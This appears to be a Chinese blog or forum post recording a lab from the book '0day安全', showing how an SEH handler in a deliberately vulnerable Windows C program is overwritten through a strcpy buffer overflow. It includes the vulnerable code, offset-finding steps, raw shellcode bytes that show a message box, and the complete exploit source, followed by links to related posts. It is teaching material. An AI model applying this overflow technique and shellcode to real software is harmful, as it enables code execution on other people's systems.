昨晚经过一番努力,又把第六章的内容温习了一遍!

随手,做了一个实验!狙击windows的异常处理, 顺便也把过程记录了下来!省事!(有图)

今早,论坛一直无法打开!

就推迟到了现在! 哈哈

正题:

第一个实验就是 狙击windows的异常处理

那么首先,你必须理解什么是windows异常处理

<ignore_js_op> 
<ignore_js_op> 
<ignore_js_op> 
<ignore_js_op>

接下来我们构造 示例代码

  1. #include "stdafx.h"
  2. #include <windows.h>
  3. #include <stdio.h>
  4. char shellcode[] = " ";//
  5. DWORD  MyExpectionHandler(void)
  6. {
  7. printf("this is my expection handler !\n");
  8. getchar();
  9. return 0;
  10. }
  11. //
  12. void test(char * input)
  13. {
  14. char buf[200]={0};
  15. int zero =0;
  16. __asm int 3
  17. __try
  18. {
  19. strcpy(buf,input);
  20. zero =4/zero;
  21. }
  22. __except(MyExpectionHandler())
  23. {
  24. }
  25. }
  26. int APIENTRY WinMain(HINSTANCE hInstance,
  27. HINSTANCE hPrevInstance,
  28. LPSTR     lpCmdLine,
  29. int       nCmdShow)
  30. {
  31. // TODO: Place code here.
  32. test(shellcode);
  33. return 0;
  34. }

复制代码

以上代码是我们构造的有溢出漏洞的代码,其中shellcode还没确定!

其test函数中的strcpy直接将shellcode拷贝到buf中,当shellcode长度,足够长时

就会溢出,溢出数据可以淹没我们添加的异常处理表数据

接下来的除0,将导致异常

这时候,异常处理开始执行!

如果我们的溢出的数据控制了异常处理结构,就可以控制流程执行我们的代码!

接下来的思路是首先od调试,来确定多长可以淹没我们想控制的地方

注意:我们必须使用int3来中断,od附加调试!不能直接用vc调试!原因:异常出现,vc将捕获异常!而不执行我们的异常处理

足够长的shellcode

  1. char shellcode[] =
  2. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  3. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  4. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  5. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  6. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  7. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  8. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  9. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  10. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  11. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  12. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  13. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
  14. //共 20×12 = 240

复制代码

<ignore_js_op> 
调试下,当执行过rep movs (这一句相当strcpy)后,栈数据区,被我们的90909090填充! 通过od标注,我们发现我们的代码

/240- 4×7 +1  = 213 处为“SHE处理程序”

我们通过溢出覆盖此处

  1. char shellcode[] =
  2. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  3. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  4. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  5. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  6. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  7. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  8. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  9. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  10. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  11. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  12. //200
  13. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x91\x92\x93\x94";

复制代码

<ignore_js_op>

这样调试,可以91-94处覆盖“SHE处理程序” 处

接下来我们来将91-94替换我们的shellcode地址

<ignore_js_op> 
我们可以发现 我们的shellcode地址为:0x0012FE4C

  1. char shellcode[] =
  2. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  3. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  4. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  5. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  6. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  7. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  8. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  9. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  10. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  11. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  12. //200
  13. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x4C\xFE\x12\x00";

复制代码

在0x12FE4C处下硬件执行断点。

我们将捕获到此断点
<ignore_js_op>

这说明我们控制啦,CPU,将shellcode 填充我们的 msg shellcode .

  1. char shellcode[] =
  2. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
  3. "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
  4. "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
  5. "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
  6. "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
  7. "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
  8. "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
  9. "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
  10. "\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  11. "\x90\x90"\
  12. //22 * 9 = 198
  13. //200
  14. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x4C\xFE\x12\x00";

复制代码

为了不破坏代码布局,我直接把断点int 3 改为nop

运行 后 弹出 msg

<ignore_js_op>

最后附上 最终版代码

  1. // 0day_6.cpp : Defines the entry point for the application.
  2. //
  3. #include "stdafx.h"
  4. #include <windows.h>
  5. #include <stdio.h>
  6. char shellcode[] =
  7. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
  8. "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
  9. "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
  10. "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
  11. "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
  12. "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
  13. "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
  14. "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
  15. "\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  16. "\x90\x90"\
  17. //22 * 9 = 198
  18. //200
  19. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x4C\xFE\x12\x00";
  20. //
  21. // 20*12 = 240
  22. DWORD  MyExpectionHandler(void)
  23. {
  24. printf("this is my expection handler !\n");
  25. getchar();
  26. return 0;
  27. }
  28. //
  29. void test(char * input)
  30. {
  31. char buf[200]={0};
  32. int zero =0;
  33. __asm nop
  34. __try
  35. {
  36. strcpy(buf,input);
  37. zero =4/zero;
  38. }
  39. __except(MyExpectionHandler())
  40. {
  41. }
  42. }
  43. int APIENTRY WinMain(HINSTANCE hInstance,
  44. HINSTANCE hPrevInstance,
  45. LPSTR     lpCmdLine,
  46. int       nCmdShow)
  47. {
  48. // TODO: Place code here.
  49. test(shellcode);
  50. return 0;
  51. }

复制代码

PS: 这个只是实验!源自书《0day安全:软件漏洞分析技术》

重现漏洞! 很基础!

有兴趣的同学可以一起学习下

旧书重温:0day2【11】第6章 狙击windows的异常处理的更多相关文章

  1. 旧书重温:0day2【8】狙击windows的异常处理实验

    现在进入0day2的第六章内容 其中第六章的书本内容我都拍成了图片格式放在了QQ空间中(博客园一张一传,太慢了)http://user.qzone.qq.com/252738331/photo/V10 ...

  2. 旧书重温:0day2【10】第五章 堆溢出利用2

    好久没有发帖子啦!最近一直很忙!但是还是抽空学习啦下! 前段时间匆匆忙忙的把0day2上的堆溢出实验做啦! 可能当时太浮躁啦,很多细节没注意!结果:实验结果很不满意!所以就有啦这一篇!! 上一篇是发布 ...

  3. 旧书重温:0day2【9】第六章 攻击c++的虚函数

    不知不觉,我们学到了0day2的第六章形形色色的内存攻击技术!其中,这张很多东西都是理论的东西,不过!我们还是要想办法还原下发生的现场! 其中部分文章截图 http://user.qzone.qq.c ...

  4. 阅读<构建之法>第三10、11、12章并提出问题

    <构建之法>第10.11.12章 第10章: 问题:对我们了解了用户的需求后,但是我们想法和做出来的软件会和用户的需求有偏差,比如风格.界面的修饰等等,那么我们程序猿怎样才能让自己的想法更 ...

  5. 第6章 AOP与全局异常处理6.5-6.11 慕课网微信小程序开发学习笔记

    https://coding.imooc.com/learn/list/97.html 目录: 第6章 AOP与全局异常处理6-1 正确理解异常处理流程 13:236-2 固有的处理异常的思维模式与流 ...

  6. 第6章 AOP与全局异常处理6.1-6.4 慕课网微信小程序开发学习笔记

    第6章 AOP与全局异常处理 https://coding.imooc.com/learn/list/97.html 目录: 第6章 AOP与全局异常处理6-1 正确理解异常处理流程 13:236-2 ...

  7. SharePoint 2010 最佳实践学习总结------第2章 SharePoint Windows PowerShell指南

    第2章 SharePoint Windows PowerShell指南 SharePoint 2010是SharePoint系列产品中第一个开始支持Windows PowerShell的产品,在以前的 ...

  8. 旧书重温:0day2【7】堆溢出实验

    相关文章我拍成了照片,放在了我的QQ空间不是做广告(一张一张的传太麻烦了)http://user.qzone.qq.com/252738331/photo/V10U5YUk2v0ol6/    密码9 ...

  9. 旧书重温:0day2【5】shellcode变形记

    紧接上一篇,结合第一篇 //这篇文章主要成功溢出一个带有缓冲区溢出的小程序,其中我们的shellcode被strcpy截断了所以我们需要变形shellcode,这个实验中也出现了很多意想不到的拦路虎, ...

随机推荐

  1. LeetCode:N叉树的层次遍历【429】

    LeetCode:N叉树的层次遍历[429] 题目描述 给定一个 N 叉树,返回其节点值的层序遍历. (即从左到右,逐层遍历). 例如,给定一个 3叉树 : 返回其层序遍历: [ [1], [3,2, ...

  2. C# 并行 反射 去掉实体属性多余空格

          有时会遇到很多不合理的数据附件到实体后有大量空格需要处理,这里提供一个方法,通过并行反射的方式高效清理空格.   Code: //清除字符串空格 public static object ...

  3. LeetCode 53. Maximum Subarray 最大连续字段和问题

    考察:最大连续字段和问题. 解决问题时间复杂度:O(n) 问题隐含条件:如果给出的数集都是负数,那么最大连续字段和就是,最大的那个负数. eg:{-2,-1}  结果应该输出 -1 而不是 0 int ...

  4. IE6/7 下:inline-block解决方案

    6/IE7下:inline-block解决方案   IE6/IE7下对display:inline-block的支持性不好. 1.inline元素的display属性设置为inline-block时, ...

  5. Http请求的TCP连接

    我们一直认为,HTTP连接分为长连接和短连接,而我们现在常用的都是HTTP1.1,因此我们用的都是长连接. 这句话其实只对了一半,我们现如今的HTTP协议,大部分都是1.1的,因此我们平时用的基本上都 ...

  6. ios 中实现storyboard 与xib 之间的切换

    1,跳转到xib 假设有一个按钮,这个按钮就是实现跳转的,那么在这个按钮的点击事件中,代码可以这样写. AViewController *a1= [[AViewController alloc]ini ...

  7. 如何实现一个简单的RPC

    在如何给老婆解释什么是RPC中,我们讨论了RPC的实现思路. 那么这一次,就让我们通过代码来实现一个简单的RPC吧! RPC的实现原理 正如上一讲所说,RPC主要是为了解决的两个问题: 解决分布式系统 ...

  8. JavaWeb -- Struts 自定义拦截器, 登录权限拦截

    1. 自定义拦截器, 登录权限拦截 login.jsp 登录JSP <%@ page language="java" contentType="text/html; ...

  9. strcpy的实现

    // // Strcpy.c // libin // // Created by 李宾 on 15/8/20. // Copyright (c) 2015年 李宾. All rights reserv ...

  10. PHP处理会话函数session和cookie总结

    本教程讲解PHP处理会话函数session和cookie总结 PHP处理会话函数包括:session_start.session_register.session_is_registered.sess ...